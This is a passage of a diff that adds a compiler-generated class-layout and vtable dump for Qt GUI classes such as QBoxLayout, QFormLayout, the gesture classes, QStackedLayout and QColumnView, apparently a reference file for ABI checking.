+128 (int (*)(...))(& _ZTI10QBoxLayout)
+132 QBoxLayout::_ZThn8_N10QBoxLayoutD1Ev
+136 QBoxLayout::_ZThn8_N10QBoxLayoutD0Ev
+140 QBoxLayout::_ZThn8_NK10QBoxLayout8sizeHintEv
+144 QBoxLayout::_ZThn8_NK10QBoxLayout11minimumSizeEv
+148 QBoxLayout::_ZThn8_NK10QBoxLayout11maximumSizeEv
+152 QBoxLayout::_ZThn8_NK10QBoxLayout19expandingDirectionsEv
+156 QBoxLayout::_ZThn8_N10QBoxLayout11setGeometryERK5QRect
+160 QLayout::_ZThn8_NK7QLayout8geometryEv
+164 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+168 QBoxLayout::_ZThn8_NK10QBoxLayout17hasHeightForWidthEv
+172 QBoxLayout::_ZThn8_NK10QBoxLayout14heightForWidthEi
+176 QBoxLayout::_ZThn8_NK10QBoxLayout21minimumHeightForWidthEi
+180 QBoxLayout::_ZThn8_N10QBoxLayout10invalidateEv
+184 QLayoutItem::widget
+188 QLayout::_ZThn8_N7QLayout6layoutEv
+192 QLayoutItem::spacerItem
+
+Class QBoxLayout
+ size=16 align=4
+ base size=16 base align=4
+QBoxLayout (0xb2648080) 0
+ vptr=((& QBoxLayout::_ZTV10QBoxLayout) + 8u)
+ QLayout (0xb2647280) 0
+ primary-for QBoxLayout (0xb2648080)
+ QObject (0xb261dbf4) 0
+ primary-for QLayout (0xb2647280)
+ QLayoutItem (0xb261dc30) 8
+ vptr=((& QBoxLayout::_ZTV10QBoxLayout) + 132u)
+
+Vtable for QHBoxLayout
+QHBoxLayout::_ZTV11QHBoxLayout: 49u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QHBoxLayout)
+8 QHBoxLayout::metaObject
+12 QHBoxLayout::qt_metacast
+16 QHBoxLayout::qt_metacall
+20 QHBoxLayout::~QHBoxLayout
+24 QHBoxLayout::~QHBoxLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QBoxLayout::invalidate
+60 QLayout::geometry
+64 QBoxLayout::addItem
+68 QBoxLayout::expandingDirections
+72 QBoxLayout::minimumSize
+76 QBoxLayout::maximumSize
+80 QBoxLayout::setGeometry
+84 QBoxLayout::itemAt
+88 QBoxLayout::takeAt
+92 QLayout::indexOf
+96 QBoxLayout::count
+100 QLayout::isEmpty
+104 QLayout::layout
+108 QBoxLayout::sizeHint
+112 QBoxLayout::hasHeightForWidth
+116 QBoxLayout::heightForWidth
+120 QBoxLayout::minimumHeightForWidth
+124 (int (*)(...))-0x000000008
+128 (int (*)(...))(& _ZTI11QHBoxLayout)
+132 QHBoxLayout::_ZThn8_N11QHBoxLayoutD1Ev
+136 QHBoxLayout::_ZThn8_N11QHBoxLayoutD0Ev
+140 QBoxLayout::_ZThn8_NK10QBoxLayout8sizeHintEv
+144 QBoxLayout::_ZThn8_NK10QBoxLayout11minimumSizeEv
+148 QBoxLayout::_ZThn8_NK10QBoxLayout11maximumSizeEv
+152 QBoxLayout::_ZThn8_NK10QBoxLayout19expandingDirectionsEv
+156 QBoxLayout::_ZThn8_N10QBoxLayout11setGeometryERK5QRect
+160 QLayout::_ZThn8_NK7QLayout8geometryEv
+164 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+168 QBoxLayout::_ZThn8_NK10QBoxLayout17hasHeightForWidthEv
+172 QBoxLayout::_ZThn8_NK10QBoxLayout14heightForWidthEi
+176 QBoxLayout::_ZThn8_NK10QBoxLayout21minimumHeightForWidthEi
+180 QBoxLayout::_ZThn8_N10QBoxLayout10invalidateEv
+184 QLayoutItem::widget
+188 QLayout::_ZThn8_N7QLayout6layoutEv
+192 QLayoutItem::spacerItem
+
+Class QHBoxLayout
+ size=16 align=4
+ base size=16 base align=4
+QHBoxLayout (0xb26483c0) 0
+ vptr=((& QHBoxLayout::_ZTV11QHBoxLayout) + 8u)
+ QBoxLayout (0xb2648400) 0
+ primary-for QHBoxLayout (0xb26483c0)
+ QLayout (0xb2657f50) 0
+ primary-for QBoxLayout (0xb2648400)
+ QObject (0xb261df78) 0
+ primary-for QLayout (0xb2657f50)
+ QLayoutItem (0xb261dfb4) 8
+ vptr=((& QHBoxLayout::_ZTV11QHBoxLayout) + 132u)
+
+Vtable for QVBoxLayout
+QVBoxLayout::_ZTV11QVBoxLayout: 49u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QVBoxLayout)
+8 QVBoxLayout::metaObject
+12 QVBoxLayout::qt_metacast
+16 QVBoxLayout::qt_metacall
+20 QVBoxLayout::~QVBoxLayout
+24 QVBoxLayout::~QVBoxLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QBoxLayout::invalidate
+60 QLayout::geometry
+64 QBoxLayout::addItem
+68 QBoxLayout::expandingDirections
+72 QBoxLayout::minimumSize
+76 QBoxLayout::maximumSize
+80 QBoxLayout::setGeometry
+84 QBoxLayout::itemAt
+88 QBoxLayout::takeAt
+92 QLayout::indexOf
+96 QBoxLayout::count
+100 QLayout::isEmpty
+104 QLayout::layout
+108 QBoxLayout::sizeHint
+112 QBoxLayout::hasHeightForWidth
+116 QBoxLayout::heightForWidth
+120 QBoxLayout::minimumHeightForWidth
+124 (int (*)(...))-0x000000008
+128 (int (*)(...))(& _ZTI11QVBoxLayout)
+132 QVBoxLayout::_ZThn8_N11QVBoxLayoutD1Ev
+136 QVBoxLayout::_ZThn8_N11QVBoxLayoutD0Ev
+140 QBoxLayout::_ZThn8_NK10QBoxLayout8sizeHintEv
+144 QBoxLayout::_ZThn8_NK10QBoxLayout11minimumSizeEv
+148 QBoxLayout::_ZThn8_NK10QBoxLayout11maximumSizeEv
+152 QBoxLayout::_ZThn8_NK10QBoxLayout19expandingDirectionsEv
+156 QBoxLayout::_ZThn8_N10QBoxLayout11setGeometryERK5QRect
+160 QLayout::_ZThn8_NK7QLayout8geometryEv
+164 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+168 QBoxLayout::_ZThn8_NK10QBoxLayout17hasHeightForWidthEv
+172 QBoxLayout::_ZThn8_NK10QBoxLayout14heightForWidthEi
+176 QBoxLayout::_ZThn8_NK10QBoxLayout21minimumHeightForWidthEi
+180 QBoxLayout::_ZThn8_N10QBoxLayout10invalidateEv
+184 QLayoutItem::widget
+188 QLayout::_ZThn8_N7QLayout6layoutEv
+192 QLayoutItem::spacerItem
+
+Class QVBoxLayout
+ size=16 align=4
+ base size=16 base align=4
+QVBoxLayout (0xb2648640) 0
+ vptr=((& QVBoxLayout::_ZTV11QVBoxLayout) + 8u)
+ QBoxLayout (0xb2648680) 0
+ primary-for QVBoxLayout (0xb2648640)
+ QLayout (0xb2666dc0) 0
+ primary-for QBoxLayout (0xb2648680)
+ QObject (0xb266c0f0) 0
+ primary-for QLayout (0xb2666dc0)
+ QLayoutItem (0xb266c12c) 8
+ vptr=((& QVBoxLayout::_ZTV11QVBoxLayout) + 132u)
+
+Vtable for QClipboard
+QClipboard::_ZTV10QClipboard: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QClipboard)
+8 QClipboard::metaObject
+12 QClipboard::qt_metacast
+16 QClipboard::qt_metacall
+20 QClipboard::~QClipboard
+24 QClipboard::~QClipboard
+28 QClipboard::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QClipboard::connectNotify
+52 QObject::disconnectNotify
+
+Class QClipboard
+ size=8 align=4
+ base size=8 base align=4
+QClipboard (0xb26488c0) 0
+ vptr=((& QClipboard::_ZTV10QClipboard) + 8u)
+ QObject (0xb266c258) 0
+ primary-for QClipboard (0xb26488c0)
+
+Vtable for QDesktopWidget
+QDesktopWidget::_ZTV14QDesktopWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QDesktopWidget)
+8 QDesktopWidget::metaObject
+12 QDesktopWidget::qt_metacast
+16 QDesktopWidget::qt_metacall
+20 QDesktopWidget::~QDesktopWidget
+24 QDesktopWidget::~QDesktopWidget
+28 QWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDesktopWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI14QDesktopWidget)
+232 QDesktopWidget::_ZThn8_N14QDesktopWidgetD1Ev
+236 QDesktopWidget::_ZThn8_N14QDesktopWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDesktopWidget
+ size=20 align=4
+ base size=20 base align=4
+QDesktopWidget (0xb2648b80) 0
+ vptr=((& QDesktopWidget::_ZTV14QDesktopWidget) + 8u)
+ QWidget (0xb268b0a0) 0
+ primary-for QDesktopWidget (0xb2648b80)
+ QObject (0xb266c474) 0
+ primary-for QWidget (0xb268b0a0)
+ QPaintDevice (0xb266c4b0) 8
+ vptr=((& QDesktopWidget::_ZTV14QDesktopWidget) + 232u)
+
+Vtable for QFormLayout
+QFormLayout::_ZTV11QFormLayout: 48u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QFormLayout)
+8 QFormLayout::metaObject
+12 QFormLayout::qt_metacast
+16 QFormLayout::qt_metacall
+20 QFormLayout::~QFormLayout
+24 QFormLayout::~QFormLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QFormLayout::invalidate
+60 QLayout::geometry
+64 QFormLayout::addItem
+68 QFormLayout::expandingDirections
+72 QFormLayout::minimumSize
+76 QLayout::maximumSize
+80 QFormLayout::setGeometry
+84 QFormLayout::itemAt
+88 QFormLayout::takeAt
+92 QLayout::indexOf
+96 QFormLayout::count
+100 QLayout::isEmpty
+104 QLayout::layout
+108 QFormLayout::sizeHint
+112 QFormLayout::hasHeightForWidth
+116 QFormLayout::heightForWidth
+120 (int (*)(...))-0x000000008
+124 (int (*)(...))(& _ZTI11QFormLayout)
+128 QFormLayout::_ZThn8_N11QFormLayoutD1Ev
+132 QFormLayout::_ZThn8_N11QFormLayoutD0Ev
+136 QFormLayout::_ZThn8_NK11QFormLayout8sizeHintEv
+140 QFormLayout::_ZThn8_NK11QFormLayout11minimumSizeEv
+144 QLayout::_ZThn8_NK7QLayout11maximumSizeEv
+148 QFormLayout::_ZThn8_NK11QFormLayout19expandingDirectionsEv
+152 QFormLayout::_ZThn8_N11QFormLayout11setGeometryERK5QRect
+156 QLayout::_ZThn8_NK7QLayout8geometryEv
+160 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+164 QFormLayout::_ZThn8_NK11QFormLayout17hasHeightForWidthEv
+168 QFormLayout::_ZThn8_NK11QFormLayout14heightForWidthEi
+172 QLayoutItem::minimumHeightForWidth
+176 QFormLayout::_ZThn8_N11QFormLayout10invalidateEv
+180 QLayoutItem::widget
+184 QLayout::_ZThn8_N7QLayout6layoutEv
+188 QLayoutItem::spacerItem
+
+Class QFormLayout
+ size=16 align=4
+ base size=16 base align=4
+QFormLayout (0xb2648f00) 0
+ vptr=((& QFormLayout::_ZTV11QFormLayout) + 8u)
+ QLayout (0xb269f0a0) 0
+ primary-for QFormLayout (0xb2648f00)
+ QObject (0xb266c708) 0
+ primary-for QLayout (0xb269f0a0)
+ QLayoutItem (0xb266c744) 8
+ vptr=((& QFormLayout::_ZTV11QFormLayout) + 128u)
+
+Vtable for QGesture
+QGesture::_ZTV8QGesture: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QGesture)
+8 QGesture::metaObject
+12 QGesture::qt_metacast
+16 QGesture::qt_metacall
+20 QGesture::~QGesture
+24 QGesture::~QGesture
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QGesture
+ size=8 align=4
+ base size=8 base align=4
+QGesture (0xb26b0300) 0
+ vptr=((& QGesture::_ZTV8QGesture) + 8u)
+ QObject (0xb266ca14) 0
+ primary-for QGesture (0xb26b0300)
+
+Vtable for QPanGesture
+QPanGesture::_ZTV11QPanGesture: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QPanGesture)
+8 QPanGesture::metaObject
+12 QPanGesture::qt_metacast
+16 QPanGesture::qt_metacall
+20 QPanGesture::~QPanGesture
+24 QPanGesture::~QPanGesture
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QPanGesture
+ size=8 align=4
+ base size=8 base align=4
+QPanGesture (0xb26b05c0) 0
+ vptr=((& QPanGesture::_ZTV11QPanGesture) + 8u)
+ QGesture (0xb26b0600) 0
+ primary-for QPanGesture (0xb26b05c0)
+ QObject (0xb266cc30) 0
+ primary-for QGesture (0xb26b0600)
+
+Vtable for QPinchGesture
+QPinchGesture::_ZTV13QPinchGesture: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QPinchGesture)
+8 QPinchGesture::metaObject
+12 QPinchGesture::qt_metacast
+16 QPinchGesture::qt_metacall
+20 QPinchGesture::~QPinchGesture
+24 QPinchGesture::~QPinchGesture
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QPinchGesture
+ size=8 align=4
+ base size=8 base align=4
+QPinchGesture (0xb26b08c0) 0
+ vptr=((& QPinchGesture::_ZTV13QPinchGesture) + 8u)
+ QGesture (0xb26b0900) 0
+ primary-for QPinchGesture (0xb26b08c0)
+ QObject (0xb266ce4c) 0
+ primary-for QGesture (0xb26b0900)
+
+Vtable for QSwipeGesture
+QSwipeGesture::_ZTV13QSwipeGesture: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QSwipeGesture)
+8 QSwipeGesture::metaObject
+12 QSwipeGesture::qt_metacast
+16 QSwipeGesture::qt_metacall
+20 QSwipeGesture::~QSwipeGesture
+24 QSwipeGesture::~QSwipeGesture
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSwipeGesture
+ size=8 align=4
+ base size=8 base align=4
+QSwipeGesture (0xb26b0d00) 0
+ vptr=((& QSwipeGesture::_ZTV13QSwipeGesture) + 8u)
+ QGesture (0xb26b0d40) 0
+ primary-for QSwipeGesture (0xb26b0d00)
+ QObject (0xb26df12c) 0
+ primary-for QGesture (0xb26b0d40)
+
+Vtable for QTapGesture
+QTapGesture::_ZTV11QTapGesture: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTapGesture)
+8 QTapGesture::metaObject
+12 QTapGesture::qt_metacast
+16 QTapGesture::qt_metacall
+20 QTapGesture::~QTapGesture
+24 QTapGesture::~QTapGesture
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QTapGesture
+ size=8 align=4
+ base size=8 base align=4
+QTapGesture (0xb26f0000) 0
+ vptr=((& QTapGesture::_ZTV11QTapGesture) + 8u)
+ QGesture (0xb26f0040) 0
+ primary-for QTapGesture (0xb26f0000)
+ QObject (0xb26df348) 0
+ primary-for QGesture (0xb26f0040)
+
+Vtable for QTapAndHoldGesture
+QTapAndHoldGesture::_ZTV18QTapAndHoldGesture: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QTapAndHoldGesture)
+8 QTapAndHoldGesture::metaObject
+12 QTapAndHoldGesture::qt_metacast
+16 QTapAndHoldGesture::qt_metacall
+20 QTapAndHoldGesture::~QTapAndHoldGesture
+24 QTapAndHoldGesture::~QTapAndHoldGesture
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QTapAndHoldGesture
+ size=8 align=4
+ base size=8 base align=4
+QTapAndHoldGesture (0xb26f0300) 0
+ vptr=((& QTapAndHoldGesture::_ZTV18QTapAndHoldGesture) + 8u)
+ QGesture (0xb26f0340) 0
+ primary-for QTapAndHoldGesture (0xb26f0300)
+ QObject (0xb26df564) 0
+ primary-for QGesture (0xb26f0340)
+
+Vtable for QGestureRecognizer
+QGestureRecognizer::_ZTV18QGestureRecognizer: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QGestureRecognizer)
+8 QGestureRecognizer::~QGestureRecognizer
+12 QGestureRecognizer::~QGestureRecognizer
+16 QGestureRecognizer::create
+20 __cxa_pure_virtual
+24 QGestureRecognizer::reset
+
+Class QGestureRecognizer
+ size=4 align=4
+ base size=4 base align=4
+QGestureRecognizer (0xb26df834) 0 nearly-empty
+ vptr=((& QGestureRecognizer::_ZTV18QGestureRecognizer) + 8u)
+
+Vtable for QSessionManager
+QSessionManager::_ZTV15QSessionManager: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QSessionManager)
+8 QSessionManager::metaObject
+12 QSessionManager::qt_metacast
+16 QSessionManager::qt_metacall
+20 QSessionManager::~QSessionManager
+24 QSessionManager::~QSessionManager
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSessionManager
+ size=8 align=4
+ base size=8 base align=4
+QSessionManager (0xb26f0900) 0
+ vptr=((& QSessionManager::_ZTV15QSessionManager) + 8u)
+ QObject (0xb26df960) 0
+ primary-for QSessionManager (0xb26f0900)
+
+Vtable for QShortcut
+QShortcut::_ZTV9QShortcut: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QShortcut)
+8 QShortcut::metaObject
+12 QShortcut::qt_metacast
+16 QShortcut::qt_metacall
+20 QShortcut::~QShortcut
+24 QShortcut::~QShortcut
+28 QShortcut::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QShortcut
+ size=8 align=4
+ base size=8 base align=4
+QShortcut (0xb26f0bc0) 0
+ vptr=((& QShortcut::_ZTV9QShortcut) + 8u)
+ QObject (0xb26dfb7c) 0
+ primary-for QShortcut (0xb26f0bc0)
+
+Vtable for QSound
+QSound::_ZTV6QSound: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QSound)
+8 QSound::metaObject
+12 QSound::qt_metacast
+16 QSound::qt_metacall
+20 QSound::~QSound
+24 QSound::~QSound
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSound
+ size=8 align=4
+ base size=8 base align=4
+QSound (0xb26f0ec0) 0
+ vptr=((& QSound::_ZTV6QSound) + 8u)
+ QObject (0xb26dfe10) 0
+ primary-for QSound (0xb26f0ec0)
+
+Vtable for QStackedLayout
+QStackedLayout::_ZTV14QStackedLayout: 46u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QStackedLayout)
+8 QStackedLayout::metaObject
+12 QStackedLayout::qt_metacast
+16 QStackedLayout::qt_metacall
+20 QStackedLayout::~QStackedLayout
+24 QStackedLayout::~QStackedLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QLayout::invalidate
+60 QLayout::geometry
+64 QStackedLayout::addItem
+68 QLayout::expandingDirections
+72 QStackedLayout::minimumSize
+76 QLayout::maximumSize
+80 QStackedLayout::setGeometry
+84 QStackedLayout::itemAt
+88 QStackedLayout::takeAt
+92 QLayout::indexOf
+96 QStackedLayout::count
+100 QLayout::isEmpty
+104 QLayout::layout
+108 QStackedLayout::sizeHint
+112 (int (*)(...))-0x000000008
+116 (int (*)(...))(& _ZTI14QStackedLayout)
+120 QStackedLayout::_ZThn8_N14QStackedLayoutD1Ev
+124 QStackedLayout::_ZThn8_N14QStackedLayoutD0Ev
+128 QStackedLayout::_ZThn8_NK14QStackedLayout8sizeHintEv
+132 QStackedLayout::_ZThn8_NK14QStackedLayout11minimumSizeEv
+136 QLayout::_ZThn8_NK7QLayout11maximumSizeEv
+140 QLayout::_ZThn8_NK7QLayout19expandingDirectionsEv
+144 QStackedLayout::_ZThn8_N14QStackedLayout11setGeometryERK5QRect
+148 QLayout::_ZThn8_NK7QLayout8geometryEv
+152 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+156 QLayoutItem::hasHeightForWidth
+160 QLayoutItem::heightForWidth
+164 QLayoutItem::minimumHeightForWidth
+168 QLayout::_ZThn8_N7QLayout10invalidateEv
+172 QLayoutItem::widget
+176 QLayout::_ZThn8_N7QLayout6layoutEv
+180 QLayoutItem::spacerItem
+
+Class QStackedLayout
+ size=16 align=4
+ base size=16 base align=4
+QStackedLayout (0xb2554200) 0
+ vptr=((& QStackedLayout::_ZTV14QStackedLayout) + 8u)
+ QLayout (0xb2553cd0) 0
+ primary-for QStackedLayout (0xb2554200)
+ QObject (0xb255b078) 0
+ primary-for QLayout (0xb2553cd0)
+ QLayoutItem (0xb255b0b4) 8
+ vptr=((& QStackedLayout::_ZTV14QStackedLayout) + 120u)
+
+Class QToolTip
+ size=1 align=1
+ base size=0 base align=1
+QToolTip (0xb255b2d0) 0 empty
+
+Class QWhatsThis
+ size=1 align=1
+ base size=0 base align=1
+QWhatsThis (0xb255b30c) 0 empty
+
+Vtable for QWidgetAction
+QWidgetAction::_ZTV13QWidgetAction: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QWidgetAction)
+8 QWidgetAction::metaObject
+12 QWidgetAction::qt_metacast
+16 QWidgetAction::qt_metacall
+20 QWidgetAction::~QWidgetAction
+24 QWidgetAction::~QWidgetAction
+28 QWidgetAction::event
+32 QWidgetAction::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidgetAction::createWidget
+60 QWidgetAction::deleteWidget
+
+Class QWidgetAction
+ size=8 align=4
+ base size=8 base align=4
+QWidgetAction (0xb2554640) 0
+ vptr=((& QWidgetAction::_ZTV13QWidgetAction) + 8u)
+ QAction (0xb2554680) 0
+ primary-for QWidgetAction (0xb2554640)
+ QObject (0xb255b348) 0
+ primary-for QAction (0xb2554680)
+
+Vtable for QAbstractProxyModel
+QAbstractProxyModel::_ZTV19QAbstractProxyModel: 47u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAbstractProxyModel)
+8 QAbstractProxyModel::metaObject
+12 QAbstractProxyModel::qt_metacast
+16 QAbstractProxyModel::qt_metacall
+20 QAbstractProxyModel::~QAbstractProxyModel
+24 QAbstractProxyModel::~QAbstractProxyModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 QAbstractItemModel::hasChildren
+76 QAbstractProxyModel::data
+80 QAbstractProxyModel::setData
+84 QAbstractProxyModel::headerData
+88 QAbstractProxyModel::setHeaderData
+92 QAbstractProxyModel::itemData
+96 QAbstractItemModel::setItemData
+100 QAbstractItemModel::mimeTypes
+104 QAbstractItemModel::mimeData
+108 QAbstractItemModel::dropMimeData
+112 QAbstractItemModel::supportedDropActions
+116 QAbstractItemModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QAbstractProxyModel::flags
+144 QAbstractItemModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractProxyModel::submit
+164 QAbstractProxyModel::revert
+168 QAbstractProxyModel::setSourceModel
+172 __cxa_pure_virtual
+176 __cxa_pure_virtual
+180 QAbstractProxyModel::mapSelectionToSource
+184 QAbstractProxyModel::mapSelectionFromSource
+
+Class QAbstractProxyModel
+ size=8 align=4
+ base size=8 base align=4
+QAbstractProxyModel (0xb2554940) 0
+ vptr=((& QAbstractProxyModel::_ZTV19QAbstractProxyModel) + 8u)
+ QAbstractItemModel (0xb2554980) 0
+ primary-for QAbstractProxyModel (0xb2554940)
+ QObject (0xb255b564) 0
+ primary-for QAbstractItemModel (0xb2554980)
+
+Vtable for QColumnView
+QColumnView::_ZTV11QColumnView: 104u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QColumnView)
+8 QColumnView::metaObject
+12 QColumnView::qt_metacast
+16 QColumnView::qt_metacall
+20 QColumnView::~QColumnView
+24 QColumnView::~QColumnView
+28 QAbstractItemView::event
+32 QObject::eventFilter
+36 QAbstractItemView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QColumnView::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QAbstractItemView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QAbstractItemView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractScrollArea::paintEvent
+128 QWidget::moveEvent
+132 QColumnView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QAbstractItemView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QAbstractItemView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QColumnView::scrollContentsBy
+232 QColumnView::setModel
+236 QColumnView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QColumnView::visualRect
+248 QColumnView::scrollTo
+252 QColumnView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QAbstractItemView::sizeHintForColumn
+264 QAbstractItemView::reset
+268 QColumnView::setRootIndex
+272 QAbstractItemView::doItemsLayout
+276 QColumnView::selectAll
+280 QAbstractItemView::dataChanged
+284 QColumnView::rowsInserted
+288 QAbstractItemView::rowsAboutToBeRemoved
+292 QAbstractItemView::selectionChanged
+296 QColumnView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QAbstractItemView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QAbstractItemView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QColumnView::moveCursor
+344 QColumnView::horizontalOffset
+348 QColumnView::verticalOffset
